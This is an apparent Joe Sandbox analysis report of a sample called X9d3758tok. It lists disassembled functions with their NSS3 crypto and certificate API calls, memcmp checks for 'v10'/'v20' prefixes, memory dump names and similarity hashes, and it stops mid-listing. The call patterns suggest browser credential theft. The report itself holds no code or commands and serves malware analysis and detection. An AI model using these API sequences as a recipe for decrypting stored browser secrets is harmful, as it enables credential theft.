Part of subcall function 6C73AB10: DeleteCriticalSection.KERNEL32(5D5E6C93), ref: 6C73AB5C
Part of subcall function 6C73AB10: free.MOZGLUE(5D5E6C87), ref: 6C73AB63
Part of subcall function 6C73AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C73AB6F
Part of subcall function 6C73AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C73AB76

TlsGetValue.KERNEL32 ref: 6C73DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C73DD0E
PK11_IsFriendly.NSS3(?), ref: 6C73DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C73DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C73DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C73DEA6
PR_Unlock.NSS3(?), ref: 6C73DF08

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 1d505940d9662eda7c5faf9202e89c5d62fcf65da3b7a8f84bec1578b3e6ed80
Instruction ID: a17273f6d518a60f6039c03dc38f84d08c8dac338f3d3a53258bc0657542015e
Opcode Fuzzy Hash: 1d505940d9662eda7c5faf9202e89c5d62fcf65da3b7a8f84bec1578b3e6ed80
Instruction Fuzzy Hash: 219105B5A101259FDB00CF68CA89BAABBB5AF64308F159035DC1C9B743EB31E815CBD5

Function 6C79DE70 Relevance: 10.7, APIs: 7, Instructions: 224COMMON

Download Yara Rule

APIs

SECITEM_CompareItem_Util.NSS3(FFFFD064,?), ref: 6C79DFB9
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C79E029

Part of subcall function 6C778970: TlsGetValue.KERNEL32(?,00000000,6C7261C4,?,6C725639,00000000), ref: 6C778991
Part of subcall function 6C778970: TlsGetValue.KERNEL32(?,?,?,?,?,6C725639,00000000), ref: 6C7789AD
Part of subcall function 6C778970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C725639,00000000), ref: 6C7789C6
Part of subcall function 6C778970: PR_WaitCondVar.NSS3 ref: 6C7789F7
Part of subcall function 6C778970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6C725639,00000000), ref: 6C778A0C

PR_SetError.NSS3(FFFFD06A,00000000), ref: 6C79E072
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C79E098
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C79E0A7
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C79E0F1
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C79E10A

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Item_Util$CompareCopyValueZfree$CondCriticalEnterErrorSectionUnlockWait
String ID:
API String ID: 1854523011-0
Opcode ID: 4fd941e32d1634c1c2d3f57bc5aaa2cbe78f283e9adef69ccbb07f6f4a58b15f
Instruction ID: 9f651f2d12e4b844673167f0e32b0768aa473f0ff7772a2886f3d8d897f775ca
Opcode Fuzzy Hash: 4fd941e32d1634c1c2d3f57bc5aaa2cbe78f283e9adef69ccbb07f6f4a58b15f
Instruction Fuzzy Hash: 58815C75A05715ABE7108B28EE49B9AB7B4BF0031CF144235ED1963B91E731F928CBD2

Function 6C712D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C712D69

Strings

winUnmapfile2, xrefs: 6C712F7F
winSeekFile, xrefs: 6C712E9C
winTruncate2, xrefs: 6C712EF8
winUnmapfile1, xrefs: 6C712F55
winTruncate1, xrefs: 6C712EBE

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: e1137d625ec91907183531c6fdfeb9d8aae0db2d51e7bf1506df91c32e8b215c
Instruction ID: 882a5ea8e86b47839b46075aec5a0c3e22b20bf3a9f7b312f4ee00561864f242
Opcode Fuzzy Hash: e1137d625ec91907183531c6fdfeb9d8aae0db2d51e7bf1506df91c32e8b215c
Instruction Fuzzy Hash: A161D871B042049FDB54CF68DD98A6A77B5FF8A314F14413CE9159BB90EB30AD06CB91

Function 0040A560 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 155memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

memcmp.MSVCRT(?,v10,00000003), ref: 0040A5D2
memset.MSVCRT ref: 0040A60B
LocalAlloc.KERNEL32(00000040,?), ref: 0040A664

Strings

v20, xrefs: 0040A571
@, xrefs: 0040A614
v10, xrefs: 0040A5C6

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: memcmp$AllocLocallstrcpymemset
String ID: @$v10$v20
API String ID: 631489823-278772428
Opcode ID: 3de6848b35251bb0137415eef7a32c473c67b893c9d08e2ffe65091eb629360f
Instruction ID: deead5598e30f73acd49a71965db0b9c26184f2a73657d717c04d8255e3e8135
Opcode Fuzzy Hash: 3de6848b35251bb0137415eef7a32c473c67b893c9d08e2ffe65091eb629360f
Instruction Fuzzy Hash: 7C518E30610208EFCB14EFA5DD95FDD7775AF40304F008029F90A6F291DB78AA55CB5A

Function 6C74BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C74BD1E

Part of subcall function 6C722F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C722F0A
Part of subcall function 6C722F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C722F1D

Part of subcall function 6C7657D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C72B41E,00000000,00000000,?,00000000,?,6C72B41E,00000000,00000000,00000001,?), ref: 6C7657E0
Part of subcall function 6C7657D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C765843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C74BD8C

Part of subcall function 6C77FAB0: free.MOZGLUE(?,-00000001,?,?,6C71F673,00000000,00000000), ref: 6C77FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C74BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C74BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C74BE3A

Part of subcall function 6C723E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C723EC2
Part of subcall function 6C723E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C723ED6
Part of subcall function 6C723E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C723EEE
Part of subcall function 6C723E60: PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C723F02
Part of subcall function 6C723E60: PL_FreeArenaPool.NSS3 ref: 6C723F14
Part of subcall function 6C723E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C723F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C74BE52

Part of subcall function 6C722E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C722CDA,?,00000000), ref: 6C722E1E
Part of subcall function 6C722E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C722E33
Part of subcall function 6C722E00: TlsGetValue.KERNEL32 ref: 6C722E4E
Part of subcall function 6C722E00: EnterCriticalSection.KERNEL32(?), ref: 6C722E5E
Part of subcall function 6C722E00: PL_HashTableLookup.NSS3(?), ref: 6C722E71
Part of subcall function 6C722E00: PL_HashTableRemove.NSS3(?), ref: 6C722E84
Part of subcall function 6C722E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C722E96
Part of subcall function 6C722E00: PR_Unlock.NSS3 ref: 6C722EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C74BE61

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: b1ca98be2d20cbf4c4d80e238ecfdd96e7381bc0877a272e78e900e3aa3b5fcc
Instruction ID: f533fc0c5bf0d31eccb3c17da6d27a0ba699e3541c6a140ecd207dc198329f10
Opcode Fuzzy Hash: b1ca98be2d20cbf4c4d80e238ecfdd96e7381bc0877a272e78e900e3aa3b5fcc
Instruction Fuzzy Hash: F041F575A006109FCB20CF28DE89E5A77E8EF49718F118168F90997711E735ED04CBA2

Function 6C76AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C76AB3E,?,?,?), ref: 6C76AC35

Part of subcall function 6C74CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C74CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C76AB3E,?,?,?), ref: 6C76AC55

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C76AB3E,?,?), ref: 6C76AC70

Part of subcall function 6C74E300: TlsGetValue.KERNEL32 ref: 6C74E33C
Part of subcall function 6C74E300: EnterCriticalSection.KERNEL32(?), ref: 6C74E350
Part of subcall function 6C74E300: PR_Unlock.NSS3(?), ref: 6C74E5BC
Part of subcall function 6C74E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C74E5CA
Part of subcall function 6C74E300: TlsGetValue.KERNEL32 ref: 6C74E5F2
Part of subcall function 6C74E300: EnterCriticalSection.KERNEL32(?), ref: 6C74E606
Part of subcall function 6C74E300: PORT_Alloc_Util.NSS3(?), ref: 6C74E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C76AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C76AB3E), ref: 6C76ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C76AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C76AD2B

Part of subcall function 6C74F360: TlsGetValue.KERNEL32(00000000,?,6C76A904,?), ref: 6C74F38B
Part of subcall function 6C74F360: EnterCriticalSection.KERNEL32(?,?,?,6C76A904,?), ref: 6C74F3A0
Part of subcall function 6C74F360: PR_Unlock.NSS3(?,?,?,?,6C76A904,?), ref: 6C74F3D3

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: b44c3e88365c33d2d9a6bd2e73dfd79d698caac025d2f4a92673fdecb4d9a262
Instruction ID: cbfbe315914f21ffdaa76af182fa622a53736f3c1c6532b149ff54b4951ff315
Opcode Fuzzy Hash: b44c3e88365c33d2d9a6bd2e73dfd79d698caac025d2f4a92673fdecb4d9a262
Instruction Fuzzy Hash: 6B3129B1E002255FEB009F6ACE499AF7766AF8473CB188138EC1557B41EB31DD15C7A1

Function 6C748C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C748C7C

Part of subcall function 6C7E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DC6
Part of subcall function 6C7E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DD1
Part of subcall function 6C7E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7E9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C748CB0
TlsGetValue.KERNEL32 ref: 6C748CD1
EnterCriticalSection.KERNEL32(?), ref: 6C748CE5
PR_Unlock.NSS3(?), ref: 6C748D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C748D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C748D93

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 596b6a92b4c380058b0dc962e8623056524e2eac0422a59afbbf1e5246398316
Instruction ID: 5ab71ad88fd6152bc595a5d425ca889bc04f0737ad067d75e036bfcbba568349
Opcode Fuzzy Hash: 596b6a92b4c380058b0dc962e8623056524e2eac0422a59afbbf1e5246398316
Instruction Fuzzy Hash: EE319B71E02209AFD7109F68CE497DAB7B4FF59318F244136EA19A7B50D730A924CBC1

Function 6C789D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C789C5B), ref: 6C789D82

Part of subcall function 6C7814C0: TlsGetValue.KERNEL32 ref: 6C7814E0
Part of subcall function 6C7814C0: EnterCriticalSection.KERNEL32 ref: 6C7814F5
Part of subcall function 6C7814C0: PR_Unlock.NSS3 ref: 6C78150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C789C5B), ref: 6C789DA9

Part of subcall function 6C781340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C72895A,00000000,?,00000000,?,00000000,?,00000000,?,6C71F599,?,00000000), ref: 6C78136A
Part of subcall function 6C781340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C72895A,00000000,?,00000000,?,00000000,?,00000000,?,6C71F599,?,00000000), ref: 6C78137E
Part of subcall function 6C781340: PL_ArenaGrow.NSS3(?,6C71F599,?,00000000,?,6C72895A,00000000,?,00000000,?,00000000,?,00000000,?,6C71F599,?), ref: 6C7813CF
Part of subcall function 6C781340: PR_Unlock.NSS3(?,?,6C72895A,00000000,?,00000000,?,00000000,?,00000000,?,6C71F599,?,00000000), ref: 6C78145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C789C5B), ref: 6C789DCE

Part of subcall function 6C781340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C72895A,00000000,?,00000000,?,00000000,?,00000000,?,6C71F599,?,00000000), ref: 6C7813F0
Part of subcall function 6C781340: PL_ArenaGrow.NSS3(?,6C71F599,?,?,?,00000000,00000000,?,6C72895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C781445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C789C5B), ref: 6C789DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C789C5B), ref: 6C789DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C789C5B), ref: 6C789E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C789C5B), ref: 6C789E91

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

Part of subcall function 6C781560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C77FAAB,00000000), ref: 6C78157E
Part of subcall function 6C781560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C77FAAB,00000000), ref: 6C781592
Part of subcall function 6C781560: memset.VCRUNTIME140(?,00000000,?), ref: 6C781600
Part of subcall function 6C781560: PL_ArenaRelease.NSS3(?,?), ref: 6C781620
Part of subcall function 6C781560: PR_Unlock.NSS3(?), ref: 6C781639

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 7499f449959748ad8b807d9b5f142e400dff3d920804f51d23f7f7d1dd77d05a
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 8A418EB5602602AFE7008F15DE44B92BBA5FF55358F148138DA184BFA0EB72E834CB90

Function 6C74DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C74DDEC

Part of subcall function 6C780840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7808B4

PK11_DigestBegin.NSS3(00000000), ref: 6C74DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C74DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C74DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C74DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C74DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C74DECC

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 16cac4f98829db407e24f180edaff4b84ebcdd436f73e013bf3c5722102f1ab7
Instruction ID: 794507d52e93d0e3a84b4d21d7c9417f1b72a75012bd338e27a5553ed22bc9ad
Opcode Fuzzy Hash: 16cac4f98829db407e24f180edaff4b84ebcdd436f73e013bf3c5722102f1ab7
Instruction Fuzzy Hash: 933109B29002256BDB00AE65EE49FBB76AC9F64708F054135ED49A7702F731D918C6E2

Function 6C77DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C77D9E4,00000000), ref: 6C77DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C77D9E4,00000000), ref: 6C77DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C77D9E4,00000000), ref: 6C77DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C77DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C77DCAD

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 6c5ce5db520197f6f89485e054bfba7df0f4c6cb8f6bd796c791d65bc4d3b0c7
Instruction ID: 547a7a424ee7dca1a5ce68ff24f8e39a83a886b32157e2b35170704b381e3958
Opcode Fuzzy Hash: 6c5ce5db520197f6f89485e054bfba7df0f4c6cb8f6bd796c791d65bc4d3b0c7
Instruction Fuzzy Hash: A83181B55012089FDB20CF1DDA84A96B7F8AF15358F144438E94CCBB01E771E944CBA5

Function 6C742E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C73E728,?,00000038,?,?,00000000), ref: 6C742E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C742E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C742E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C742E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C742E9E
PR_Unlock.NSS3(?), ref: 6C742EAB
PR_Unlock.NSS3(?), ref: 6C742F0D

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
